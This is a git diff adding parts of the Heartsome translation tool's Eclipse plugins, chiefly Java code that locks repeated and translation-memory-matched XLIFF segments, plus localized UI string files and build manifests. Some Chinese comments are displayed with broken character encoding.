hasWrongResults(List iFileList ,LockRepeatedSegmentResultDialog lrsrd){ + for(IFile iFile :iFileList ){ + String filePath = ResourceUtils.iFileToOSPath(iFile); + //上下文匹é…结果 + int lockedContextResult = lrsrd.getLockedContextResult(filePath); + if(-1 ==lockedContextResult && isLockTM101Segment ){ + return true; + } + // 内部é‡å¤ + int lockedInnerRepeatedResault = lrsrd.getLockedInnerRepeatedResault(filePath); + if(-1 ==lockedInnerRepeatedResault && isLockInnerRepeatedSegment ){ + return true; + } + // å…¨éƒ¨åŒ¹é… + int lockedFullMatchResult = lrsrd.getLockedFullMatchResult(filePath); + if(-1 ==lockedFullMatchResult && isLockTM100Segment ){ + return true; + } + } + + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/handler/LockTMSegment.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/handler/LockTMSegment.java new file mode 100644 index 0000000..021333f --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/handler/LockTMSegment.java @@ -0,0 +1,240 @@ +/** + * PreTranslation.java + * + * Version information : + * + * Date:Dec 13, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.lockrepeat.handler; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.lockrepeat.resource.Messages; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.match.TmMatcher; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * é”定é‡å¤ä¹‹é”定外部é‡å¤ + * @author robert 2012-05-08 + * @version + * @since JDK1.6 + */ +public class LockTMSegment { + public static final Logger logger = LoggerFactory.getLogger(LockTMSegment.class); + + private boolean isLockedContextMatch = true; // 是å¦éœ€è¦é”å®šä¸Šä¸‹æ–‡åŒ¹é… + private boolean isLockedFullMatch = true; // 是å¦éœ€è¦é”å®šå®Œå…¨åŒ¹é… + + private XLFHandler xlfHandler; // 项目中的XLIFFæ–‡ä»¶è§£æž + private TmMatcher tmMatcher; + private TransUnitInfo2TranslationBean tuInfoBean = null; + /** 上下文个数 */ + private int contextSize; + private List xlfFiles; // 项目中的XLIFF文件路径,ç»å¯¹è·¯å¾„ + private IProject curProject; + + private final String SRCLANG = "source-language"; + private final String TAGLANG = "target-language"; + private final String XPATH_ALL_TU = "/xliff/file/body/descendant::trans-unit[source/text()!='' or source/*]"; + + private final String XP_FILE = "/xliff/file"; + private static final int CONSTANT_ONE = 1; + + private Map tuNumResult; + private Map lockedFullMatchResult; + private Map lockedContextResult; + /** è¦è¿›è¡Œé”定的文本段的rowId */ + private Map> needLockRowIdMap; + + public LockTMSegment(XLFHandler xlfHandler, TmMatcher tmMatcher, List xlfFiles, IProject curProject) { + this.xlfHandler = xlfHandler; + this.xlfFiles = xlfFiles; + this.tmMatcher = tmMatcher; + this.curProject = curProject; + + lockedFullMatchResult = new HashMap(); + lockedContextResult = new HashMap(); + tuNumResult = new HashMap(); + needLockRowIdMap = new HashMap>(); + //åªæŸ¥è¯¢ä¸€ä¸ªæ•°æ®ï¼Œå¹¶ä¸”最低匹é…为100 + this.tmMatcher.setCustomeMatchParameters(1, 100); + contextSize = tmMatcher.getContextSize(); + } + + /** + * æ ¹æ®æž„建å‚数执行预翻译 ; + * @return false:标识用户点击退出按钮,ä¸å†æ‰§è¡Œ + */ + public boolean executeTranslation(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + if (monitor != null && monitor.isCanceled()) { + throw new OperationCanceledException(); + } + + //首先获å–所有文件的tu节点的总数 + int allTuSize = 0; + for (String xlfPath : xlfFiles) { + int curTuSize = xlfHandler.getNodeCount(xlfPath, XPATH_ALL_TU); + //åˆå§‹åŒ–结果集 + tuNumResult.put(xlfPath, curTuSize); + if (lockedFullMatchResult.get(xlfPath) == null) { + lockedFullMatchResult.put(xlfPath, 0); + } + if (lockedContextResult.get(xlfPath) == null) { + lockedContextResult.put(xlfPath, 0); + } + if (needLockRowIdMap.get(xlfPath) == null) { + needLockRowIdMap.put(xlfPath, new ArrayList()); + } + allTuSize += curTuSize; + } + + monitor.beginTask(Messages.getString("translation.LockTMSegment.task1"), allTuSize); + boolean canTmMatch = tmMatcher.checkTmMatcher(curProject); + if (!canTmMatch) { + monitorWork(monitor, allTuSize); + return true; + } + + Map srcTextMap = null; + for (String xlfPath : xlfFiles) { + int fileNodeSum = xlfHandler.getNodeCount(xlfPath, XP_FILE); + for (int fileNodeIdx = CONSTANT_ONE; fileNodeIdx <= fileNodeSum; fileNodeIdx++) { + String source_lan = xlfHandler.getNodeAttribute(xlfPath, "/xliff/file[" + fileNodeIdx + "]", SRCLANG); + String target_lan = xlfHandler.getNodeAttribute(xlfPath, "/xliff/file[" + fileNodeIdx + "]", TAGLANG); + if (source_lan == null || source_lan.equals("")) { + continue; + } + if (target_lan == null || target_lan.equals("")) { + continue; + } + //获å–æ¯ä¸€ä¸ªtuèŠ‚ç‚¹çš„ç›¸å…³ä¿¡æ¯ + int curFileNodeTuSize = xlfHandler.getNodeCount(xlfPath, "/xliff/file[" + fileNodeIdx + + "]/body/descendant::trans-unit[source/text()!='' or source/*]"); + for (int tuNodeIdx = CONSTANT_ONE; tuNodeIdx <= curFileNodeTuSize; tuNodeIdx++) { + String tuXpath = "/xliff/file[" + fileNodeIdx + "]/descendant::trans-unit[" + tuNodeIdx + "]"; + srcTextMap = xlfHandler.getTUsrcText(xlfPath, tuXpath, contextSize); + if (srcTextMap == null || srcTextMap.size() < 0 ) { + return true; + } + searchTmAndLockTu(xlfPath, source_lan, target_lan, srcTextMap); + if (!monitorWork(monitor, allTuSize)) { + return false; + } + } + } + } + return true; + } + + /** + * 查询数æ®åº“的匹é…并且é”定文本段 + * @param xlfPath + * @param source_lan + * @param target_lan + * @param srcTextMap + */ + private void searchTmAndLockTu(String xlfPath, String source_lan, String target_lan, Map srcTextMap) { + tuInfoBean = new TransUnitInfo2TranslationBean(); + String srcContent = srcTextMap.get("content"); + if (srcContent == null || "".equals(srcContent)) { + return; + } + tuInfoBean.setNextContext(srcTextMap.get("nextHash")); + tuInfoBean.setPreContext(srcTextMap.get("preHash")); + tuInfoBean.setSrcFullText(srcContent); + tuInfoBean.setSrcLanguage(source_lan); + tuInfoBean.setSrcPureText(srcTextMap.get("pureText")); + tuInfoBean.setTgtLangugage(target_lan); + + int a = 1; + List tmResult = tmMatcher.analysTranslationUnit(curProject, tuInfoBean); + if (tmResult != null && tmResult.size() > 0) { + int similarity = tmResult.get(0).getSimilarity(); + if (isLockedContextMatch && similarity == 101) { + xlfHandler.lockTransUnit(xlfPath, "no"); + Integer lockedNum = lockedContextResult.get(xlfPath); + if (lockedNum == null) { + lockedContextResult.put(xlfPath, 1); + } else { + lockedContextResult.put(xlfPath, lockedNum + 1); + } + needLockRowIdMap.get(xlfPath).add(srcTextMap.get("rowId")); + } else if (isLockedFullMatch && similarity == 100) { + xlfHandler.lockTransUnit(xlfPath, "no"); + Integer lockedNum = lockedFullMatchResult.get(xlfPath); + if (lockedNum == null) { + lockedFullMatchResult.put(xlfPath, 1); + } else { + lockedFullMatchResult.put(xlfPath, lockedNum + 1); + } + needLockRowIdMap.get(xlfPath).add(srcTextMap.get("rowId")); + } + a ++; + } + } + + /** + * 设置是å¦é”定上下文匹é…,å³101%åŒ¹é… + * @param isLockedContextMatch + * the isLocaledContextMatch to set + */ + public void setLockedContextMatch(boolean isLockedContextMatch) { + this.isLockedContextMatch = isLockedContextMatch; + } + + /** + * 设置是å¦é”定完全匹é…,å³100%åŒ¹é… + * @param isLockedFullMatch + * the isLocaledFullMatch to set + */ + public void setLockedFullMatch(boolean isLockedFullMatch) { + this.isLockedFullMatch = isLockedFullMatch; + } + + /** @return the lockedFullMatchResult */ + public Map getLockedFullMatchResult() { + return lockedFullMatchResult; + } + + /** @return the lockedContextResult */ + public Map getLockedContextResult() { + return lockedContextResult; + } + + /** @return the tuNumResult */ + public Map getTuNumResult() { + return tuNumResult; + } + + public Map> getNeedLockRowIdMap() { + return needLockRowIdMap; + } + + public boolean monitorWork(IProgressMonitor monitor, int stepValue){ + if (monitor.isCanceled()) { + return false; + } + monitor.worked(stepValue); + return true; + } +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/ImageConstant.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/ImageConstant.java new file mode 100644 index 0000000..216b927 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/ImageConstant.java @@ -0,0 +1,26 @@ +/** + * ImageConstant.java + * + * Version information : + * + * Date:Mar 15, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.lockrepeat.resource; + +/** + * 图片路径工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class ImageConstant { + + /** é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡†çš„LOGO*/ + public final static String TRANSLATE_LOCKREPEATED_LOGO = "images/translate/lock-repeated-logo.png"; + +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/Messages.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/Messages.java new file mode 100644 index 0000000..1bc1664 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.lockrepeat.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.lockrepeat.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message.properties b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message.properties new file mode 100644 index 0000000..eff6be9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message.properties @@ -0,0 +1,28 @@ +dialog.LockRepeatedSegmentDialog.ok = \u786e\u5b9a +dialog.LockRepeatedSegmentDialog.cancel = \u53d6\u6d88 +dialog.LockRepeatedSegmentDialog.columnNames1 = \u5e8f\u53f7 +dialog.LockRepeatedSegmentDialog.columnNames2 = XLIFF \u6587\u4ef6 +dialog.LockRepeatedSegmentDialog.btnLockInnerRepeat = \u9501\u5b9a\u5185\u90e8\u91cd\u590d +dialog.LockRepeatedSegmentDialog.btnLockTM100 = \u9501\u5b9a\u5b8c\u5168\u5339\u914d +dialog.LockRepeatedSegmentDialog.btnLockTM101 = \u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +dialog.LockRepeatedSegmentResultDialog.title = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5\u7ed3\u679c +dialog.LockRepeatedSegmentResultDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.LockRepeatedSegmentResultDialog.clmnTitles2 = XLIFF \u6587\u4ef6 +dialog.LockRepeatedSegmentResultDialog.clmnTitles3 = \u6587\u672c\u6bb5\u6570\u91cf +dialog.LockRepeatedSegmentResultDialog.clmnTitles4 = \u5df2\u9501\u5b9a\u5185\u90e8\u91cd\u590d +dialog.LockRepeatedSegmentResultDialog.clmnTitles5 = \u5df2\u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +dialog.LockRepeatedSegmentResultDialog.clmnTitles6 = \u5df2\u9501\u5b9a\u5b8c\u5168\u5339\u914d +dialog.LockRepeatedSegmentResultDialog.locksuccesful=\u64cd\u4f5c\u5b8c\u6210 +dialog.LockRepeatedSegmentResultDialog.unlocksuccesful=\u64cd\u4f5c\u5931\u8d25 + +translation.LockRepeatedSegmentHandler.msgTitle = \u63d0\u793a +translation.LockRepeatedSegmentHandler.msg1 = \u6ca1\u6709\u9700\u8981\u5904\u7406\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 XLIFF \u6587\u4ef6\u3002 +translation.LockRepeatedSegmentHandler.dialog = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 +translation.LockRepeatedSegmentHandler.task1 = \u6b63\u5904\u7406\u6587\u4ef6\uff0c\u8bf7\u7a0d\u5019... +translation.LockRepeatedSegmentHandler.task2 = \u6b63\u5728\u67e5\u8be2\u8bb0\u5fc6\u5e93\uff0c\u8bf7\u7a0d\u5019... +translation.LockRepeatedSegmentHandler.msg2 = \u65e0\u6cd5\u6253\u5f00\u6587\u4ef6 {0}\uff0c\u5c06\u5ffd\u7565\u8be5\u6587\u4ef6\u3002 +translation.LockRepeatedSegmentHandler.task3 = \u5f00\u59cb\u9501\u5b9a\u5185\u90e8\u91cd\u590d\u6587\u672c\u6bb5... +translation.LockTMSegment.task1 = \u6b63\u5728\u67e5\u8be2\u8bb0\u5fc6\u5e93, \u8bf7\u7a0d\u5019... + +############################## 2012-10-16 \u6dfb\u52a0 ######################################### +dialog.LockRepeatedSegmentResultDialog.desc = \u9501\u5b9a\u9009\u4e2d\u6587\u4ef6\u7684\u91cd\u590d\u6587\u672c\u6bb5\u3002 diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message_en.properties b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message_en.properties new file mode 100644 index 0000000..4de6ac0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message_en.properties @@ -0,0 +1,28 @@ +dialog.LockRepeatedSegmentDialog.ok = OK +dialog.LockRepeatedSegmentDialog.cancel = Cancel +dialog.LockRepeatedSegmentDialog.columnNames1 = No. +dialog.LockRepeatedSegmentDialog.columnNames2 = XLIFF Files +dialog.LockRepeatedSegmentDialog.btnLockInnerRepeat = Lock internal repetitions +dialog.LockRepeatedSegmentDialog.btnLockTM100 = Lock exact matches +dialog.LockRepeatedSegmentDialog.btnLockTM101 = Lock context matches +dialog.LockRepeatedSegmentResultDialog.title = Results of locking repetitions +dialog.LockRepeatedSegmentResultDialog.clmnTitles1 = No. +dialog.LockRepeatedSegmentResultDialog.clmnTitles2 = XLIFF Files +dialog.LockRepeatedSegmentResultDialog.clmnTitles3 = Segments +dialog.LockRepeatedSegmentResultDialog.clmnTitles4 = Locked Internal Repetitions +dialog.LockRepeatedSegmentResultDialog.clmnTitles5 = Locked Context Match +dialog.LockRepeatedSegmentResultDialog.clmnTitles6 = Locked Exact Match +dialog.LockRepeatedSegmentResultDialog.locksuccesful=Operation is completed +dialog.LockRepeatedSegmentResultDialog.unlocksuccesful=The operation was failed + +translation.LockRepeatedSegmentHandler.msgTitle = Message +translation.LockRepeatedSegmentHandler.msg1 = No XLIFF files need to process, please select XLIFF files again. +translation.LockRepeatedSegmentHandler.dialog = Lock Repetitions +translation.LockRepeatedSegmentHandler.task1 = Processing files, please wait... +translation.LockRepeatedSegmentHandler.task2 = Searching TM. Please wait... +translation.LockRepeatedSegmentHandler.msg2 = Cannot open file {0}. The file will be ignored. +translation.LockRepeatedSegmentHandler.task3 = Start locking internal repetitions... +translation.LockTMSegment.task1 = Searching TM, please wait... + +############################## 2012-10-16 \u6dfb\u52a0 ######################################### +dialog.LockRepeatedSegmentResultDialog.desc = Lock internal repetitions of selected files. diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message_zh.properties b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message_zh.properties new file mode 100644 index 0000000..eff6be9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/resource/message_zh.properties @@ -0,0 +1,28 @@ +dialog.LockRepeatedSegmentDialog.ok = \u786e\u5b9a +dialog.LockRepeatedSegmentDialog.cancel = \u53d6\u6d88 +dialog.LockRepeatedSegmentDialog.columnNames1 = \u5e8f\u53f7 +dialog.LockRepeatedSegmentDialog.columnNames2 = XLIFF \u6587\u4ef6 +dialog.LockRepeatedSegmentDialog.btnLockInnerRepeat = \u9501\u5b9a\u5185\u90e8\u91cd\u590d +dialog.LockRepeatedSegmentDialog.btnLockTM100 = \u9501\u5b9a\u5b8c\u5168\u5339\u914d +dialog.LockRepeatedSegmentDialog.btnLockTM101 = \u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +dialog.LockRepeatedSegmentResultDialog.title = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5\u7ed3\u679c +dialog.LockRepeatedSegmentResultDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.LockRepeatedSegmentResultDialog.clmnTitles2 = XLIFF \u6587\u4ef6 +dialog.LockRepeatedSegmentResultDialog.clmnTitles3 = \u6587\u672c\u6bb5\u6570\u91cf +dialog.LockRepeatedSegmentResultDialog.clmnTitles4 = \u5df2\u9501\u5b9a\u5185\u90e8\u91cd\u590d +dialog.LockRepeatedSegmentResultDialog.clmnTitles5 = \u5df2\u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +dialog.LockRepeatedSegmentResultDialog.clmnTitles6 = \u5df2\u9501\u5b9a\u5b8c\u5168\u5339\u914d +dialog.LockRepeatedSegmentResultDialog.locksuccesful=\u64cd\u4f5c\u5b8c\u6210 +dialog.LockRepeatedSegmentResultDialog.unlocksuccesful=\u64cd\u4f5c\u5931\u8d25 + +translation.LockRepeatedSegmentHandler.msgTitle = \u63d0\u793a +translation.LockRepeatedSegmentHandler.msg1 = \u6ca1\u6709\u9700\u8981\u5904\u7406\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 XLIFF \u6587\u4ef6\u3002 +translation.LockRepeatedSegmentHandler.dialog = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 +translation.LockRepeatedSegmentHandler.task1 = \u6b63\u5904\u7406\u6587\u4ef6\uff0c\u8bf7\u7a0d\u5019... +translation.LockRepeatedSegmentHandler.task2 = \u6b63\u5728\u67e5\u8be2\u8bb0\u5fc6\u5e93\uff0c\u8bf7\u7a0d\u5019... +translation.LockRepeatedSegmentHandler.msg2 = \u65e0\u6cd5\u6253\u5f00\u6587\u4ef6 {0}\uff0c\u5c06\u5ffd\u7565\u8be5\u6587\u4ef6\u3002 +translation.LockRepeatedSegmentHandler.task3 = \u5f00\u59cb\u9501\u5b9a\u5185\u90e8\u91cd\u590d\u6587\u672c\u6bb5... +translation.LockTMSegment.task1 = \u6b63\u5728\u67e5\u8be2\u8bb0\u5fc6\u5e93, \u8bf7\u7a0d\u5019... + +############################## 2012-10-16 \u6dfb\u52a0 ######################################### +dialog.LockRepeatedSegmentResultDialog.desc = \u9501\u5b9a\u9009\u4e2d\u6587\u4ef6\u7684\u91cd\u590d\u6587\u672c\u6bb5\u3002 diff --git a/ts/net.heartsome.cat.ts.pretranslation/.classpath b/ts/net.heartsome.cat.ts.pretranslation/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.pretranslation/.project b/ts/net.heartsome.cat.ts.pretranslation/.project new file mode 100644 index 0000000..40fd61c --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.pretranslation + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.pretranslation/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.pretranslation/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.pretranslation/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.pretranslation/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4fbafab --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/META-INF/MANIFEST.MF @@ -0,0 +1,35 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS PreTranslation +Bundle-SymbolicName: net.heartsome.cat.ts.pretranslation;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130131 +Bundle-Activator: net.heartsome.cat.ts.pretranslation.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + net.heartsome.cat.common.core, + net.heartsome.cat.converter.ui;bundle-version="1.0.0", + net.heartsome.cat.ts.help;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.core, + net.heartsome.cat.common.file, + net.heartsome.cat.common.resources, + net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.handlers, + net.heartsome.cat.ts.core.bean, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.core.qa, + net.heartsome.cat.ts.tm.bean, + net.heartsome.cat.ts.tm.match, + net.heartsome.cat.ts.tm.simpleMatch, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.ui.editors, + net.heartsome.cat.ts.ui.util, + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.pretranslation/build.properties b/ts/net.heartsome.cat.ts.pretranslation/build.properties new file mode 100644 index 0000000..76e0813 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.pretranslation/images/dialog/pre-translation-logo.png b/ts/net.heartsome.cat.ts.pretranslation/images/dialog/pre-translation-logo.png new file mode 100644 index 0000000..214702e Binary files /dev/null and b/ts/net.heartsome.cat.ts.pretranslation/images/dialog/pre-translation-logo.png differ diff --git a/ts/net.heartsome.cat.ts.pretranslation/images/pre_translation_16.png b/ts/net.heartsome.cat.ts.pretranslation/images/pre_translation_16.png new file mode 100644 index 0000000..56645ba Binary files /dev/null and b/ts/net.heartsome.cat.ts.pretranslation/images/pre_translation_16.png differ diff --git a/ts/net.heartsome.cat.ts.pretranslation/images/preference/trans_pre_32.png b/ts/net.heartsome.cat.ts.pretranslation/images/preference/trans_pre_32.png new file mode 100644 index 0000000..ba29538 Binary files /dev/null and b/ts/net.heartsome.cat.ts.pretranslation/images/preference/trans_pre_32.png differ diff --git a/ts/net.heartsome.cat.ts.pretranslation/plugin.properties b/ts/net.heartsome.cat.ts.pretranslation/plugin.properties new file mode 100644 index 0000000..df1e2f5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/plugin.properties @@ -0,0 +1,4 @@ +menu.translation.preTranslation = \u9884\u7ffb\u8bd1... +popupMenu.preTranslation = \u9884\u7ffb\u8bd1... +command.preTranslation = \u9884\u7ffb\u8bd1 +preferencePages.preTranslation = \u9884\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.pretranslation/plugin.xml b/ts/net.heartsome.cat.ts.pretranslation/plugin.xml new file mode 100644 index 0000000..0375693 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/plugin.xml @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.pretranslation/plugin_en.properties b/ts/net.heartsome.cat.ts.pretranslation/plugin_en.properties new file mode 100644 index 0000000..32e2c06 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/plugin_en.properties @@ -0,0 +1,4 @@ +menu.translation.preTranslation = Pre-translate... +popupMenu.preTranslation = Pre-translate... +command.preTranslation = Pre-translate +preferencePages.preTranslation = Pre-translate diff --git a/ts/net.heartsome.cat.ts.pretranslation/plugin_zh.properties b/ts/net.heartsome.cat.ts.pretranslation/plugin_zh.properties new file mode 100644 index 0000000..df1e2f5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/plugin_zh.properties @@ -0,0 +1,4 @@ +menu.translation.preTranslation = \u9884\u7ffb\u8bd1... +popupMenu.preTranslation = \u9884\u7ffb\u8bd1... +command.preTranslation = \u9884\u7ffb\u8bd1 +preferencePages.preTranslation = \u9884\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/Activator.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/Activator.java new file mode 100644 index 0000000..d3453bf --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/Activator.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.ts.pretranslation; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.pretranslation"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } 